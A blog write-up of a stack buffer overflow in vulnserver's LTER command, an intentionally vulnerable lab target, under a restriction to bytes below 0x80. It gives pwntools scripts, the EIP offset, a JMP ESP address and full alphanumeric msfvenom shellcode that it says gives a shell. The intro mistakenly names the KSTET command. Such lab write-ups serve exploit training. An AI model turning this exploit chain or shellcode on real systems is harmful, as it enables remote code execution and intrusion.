Exploiting vulnserver.exe — LTER command with restricted characters

3 minute read

In this write-up, I will discuss about attacking KSTET command of vulnserver.exe by only using a limited set of characters.

To get started, let’s read the source code of vulnserver.

The code tells us that it reduces 0x7f to all characters greater than 0x7f before storing to LterBuf, and eventually it passes LterBuf to Function3() if our input contains a “.”.

This means that we can only use characters that are lower to 0x80.

Let’s inspect Function3 to have a better understanding what happens next.

The contents of LterBuf is copied to Buffer2S without checking the payload length. This is where the vulnerability occurs. Since Buffer2S can only handle 2000 bytes and LterBuf can handle a large input, we can smash the stack by sending a payload greater than 2000 bytes.

Our initial payload should look like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "LTER ."  
payload += "A"*3000

r.sendline(payload)  
r.close()

Sending this payload to vulnserver makes the program crash.

Upon checking the registers, it seems that we can now control the instruction pointer.

Let’s fuzz this program to get the offset we need to control EIP.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "LTER ."  
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

r.sendline(payload)  
r.close()

Sending this payload gives us the unique pattern that has overwritten the instruction pointer.

The offset we need to control the EIP is 2006.

Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send 3000 bytes of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use JMP ESP to jump to our shellcode.

Our payload structure should look like this.

payload = <buffer 2006 bytes> + <JMP ESP> + <shellcode>

First, let’s check if there is an available JMP ESP instruction that we can use with the help of mona. We can simply use !mona jmp -r esp to get a list of JMP ESP instructions.

We need to choose an address that does not contain any restricted character.

Let’s use 0x62501203 as our JMP ESP instruction.

Next, we need to generate our shellcode. We can simply use msfvenom for this one.

Again, we need to use a shellcode that does not contain any restricted character ( > 0x7f ).

Upon research, I encountered alphanumeric shellcode encoder of msfvenom. We can use this encoder to generate a shellcode that only contains alphanumeric characters which will work since all alphanumeric characters are less than 0x80.

Let’s generate our shellcode using this encoder.

Aside from the encoder, I also used the BufferRegister option since we already know the location of our shellcode which is in ESP.

Without using this option, we will have non-alphanumeric characters in our shellcode like \x89\xe2\xdb\xdb\xd9\x72. These values are opcodes which are needed by the shellcode to obtain the absolute location of the payload in the memory.

Combining everything above, here is our final payload script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"  
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"  
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"  
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"  
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58"  
shellcode += b"\x68\x4c\x42\x35\x50\x53\x30\x37\x70\x63\x50"  
shellcode += b"\x4f\x79\x59\x75\x45\x61\x79\x50\x50\x64\x4e"  
shellcode += b"\x6b\x52\x70\x64\x70\x4c\x4b\x53\x62\x34\x4c"  
shellcode += b"\x6e\x6b\x51\x42\x37\x64\x6c\x4b\x30\x72\x57"  
shellcode += b"\x58\x64\x4f\x4d\x67\x53\x7a\x45\x76\x64\x71"  
shellcode += b"\x39\x6f\x6c\x6c\x77\x4c\x35\x31\x63\x4c\x74"  
shellcode += b"\x42\x46\x4c\x31\x30\x4f\x31\x7a\x6f\x36\x6d"  
shellcode += b"\x73\x31\x7a\x67\x4d\x32\x6c\x32\x31\x42\x71"  
shellcode += b"\x47\x6e\x6b\x71\x42\x46\x70\x6c\x4b\x62\x6a"  
shellcode += b"\x45\x6c\x6c\x4b\x62\x6c\x32\x31\x71\x68\x39"  
shellcode += b"\x73\x31\x58\x45\x51\x6a\x71\x32\x71\x4e\x6b"  
shellcode += b"\x71\x49\x75\x70\x46\x61\x69\x43\x4e\x6b\x67"  
shellcode += b"\x39\x55\x48\x4a\x43\x75\x6a\x67\x39\x4c\x4b"  
shellcode += b"\x36\x54\x4c\x4b\x63\x31\x59\x46\x66\x51\x4b"  
shellcode += b"\x4f\x6c\x6c\x6b\x71\x58\x4f\x76\x6d\x73\x31"  
shellcode += b"\x6b\x77\x37\x48\x4b\x50\x33\x45\x4a\x56\x53"  
shellcode += b"\x33\x71\x6d\x6b\x48\x67\x4b\x33\x4d\x54\x64"  
shellcode += b"\x30\x75\x6a\x44\x46\x38\x6e\x6b\x30\x58\x76"  
shellcode += b"\x44\x43\x31\x68\x53\x43\x56\x4e\x6b\x46\x6c"  
shellcode += b"\x62\x6b\x4c\x4b\x62\x78\x65\x4c\x53\x31\x5a"  
shellcode += b"\x73\x4e\x6b\x57\x74\x6e\x6b\x67\x71\x6a\x70"  
shellcode += b"\x6e\x69\x51\x54\x65\x74\x77\x54\x63\x6b\x31"  
shellcode += b"\x4b\x50\x61\x72\x79\x73\x6a\x56\x31\x4b\x4f"  
shellcode += b"\x4b\x50\x53\x6f\x43\x6f\x52\x7a\x4c\x4b\x57"  
shellcode += b"\x62\x5a\x4b\x4c\x4d\x31\x4d\x55\x38\x76\x53"  
shellcode += b"\x74\x72\x67\x70\x63\x30\x31\x78\x64\x37\x31"  
shellcode += b"\x63\x64\x72\x73\x6f\x50\x54\x62\x48\x52\x6c"  
shellcode += b"\x32\x57\x76\x46\x55\x57\x59\x6f\x79\x45\x6f"  
shellcode += b"\x48\x7a\x30\x33\x31\x67\x70\x67\x70\x74\x69"  
shellcode += b"\x4a\x64\x72\x74\x32\x70\x42\x48\x66\x49\x6b"  
shellcode += b"\x30\x72\x4b\x37\x70\x4b\x4f\x59\x45\x70\x50"  
shellcode += b"\x30\x50\x56\x30\x46\x30\x67\x30\x70\x50\x61"  
shellcode += b"\x50\x52\x70\x35\x38\x4b\x5a\x76\x6f\x69\x4f"  
shellcode += b"\x6d\x30\x4b\x4f\x79\x45\x5a\x37\x63\x5a\x75"  
shellcode += b"\x55\x35\x38\x39\x50\x49\x38\x4e\x68\x39\x66"  
shellcode += b"\x65\x38\x56\x62\x63\x30\x32\x31\x63\x6c\x6e"  
shellcode += b"\x69\x78\x66\x63\x5a\x36\x70\x73\x66\x51\x47"  
shellcode += b"\x62\x48\x5a\x39\x59\x35\x62\x54\x75\x31\x39"  
shellcode += b"\x6f\x4a\x75\x6d\x55\x6b\x70\x30\x74\x46\x6c"  
shellcode += b"\x39\x6f\x30\x4e\x75\x58\x32\x55\x48\x6c\x31"  
shellcode += b"\x78\x7a\x50\x6d\x65\x4c\x62\x66\x36\x4b\x4f"  
shellcode += b"\x6a\x75\x65\x38\x51\x73\x62\x4d\x35\x34\x67"  
shellcode += b"\x70\x6d\x59\x68\x63\x53\x67\x66\x37\x33\x67"  
shellcode += b"\x46\x51\x59\x66\x30\x6a\x74\x52\x50\x59\x53"  
shellcode += b"\x66\x49\x72\x69\x6d\x55\x36\x78\x47\x37\x34"  
shellcode += b"\x51\x34\x45\x6c\x36\x61\x35\x51\x6e\x6d\x57"  
shellcode += b"\x34\x64\x64\x72\x30\x6a\x66\x45\x50\x30\x44"  
shellcode += b"\x43\x64\x70\x50\x73\x66\x43\x66\x36\x36\x52"  
shellcode += b"\x66\x56\x36\x42\x6e\x61\x46\x31\x46\x76\x33"  
shellcode += b"\x53\x66\x43\x58\x34\x39\x58\x4c\x67\x4f\x4f"  
shellcode += b"\x76\x59\x6f\x6b\x65\x4c\x49\x39\x70\x70\x4e"  
shellcode += b"\x66\x36\x43\x76\x69\x6f\x74\x70\x53\x58\x75"  
shellcode += b"\x58\x6c\x47\x67\x6d\x45\x30\x49\x6f\x6a\x75"  
shellcode += b"\x6d\x6b\x4a\x50\x6d\x65\x6c\x62\x36\x36\x52"  
shellcode += b"\x48\x39\x36\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f"  
shellcode += b"\x7a\x75\x75\x6c\x34\x46\x33\x4c\x67\x7a\x6b"  
shellcode += b"\x30\x69\x6b\x4b\x50\x74\x35\x75\x55\x4d\x6b"  
shellcode += b"\x33\x77\x77\x63\x43\x42\x50\x6f\x32\x4a\x73"  
shellcode += b"\x30\x32\x73\x4b\x4f\x4e\x35\x41\x41"

# badchars, payload chars must be less than 0x7f  
payload = ""  
payload += "LTER ."  
payload += "A"*2006  
payload += p32(0x62501203)  
payload += shellcode

r.sendline(payload)  
r.close()

Executing this payload gives us a shell.

— ar33zy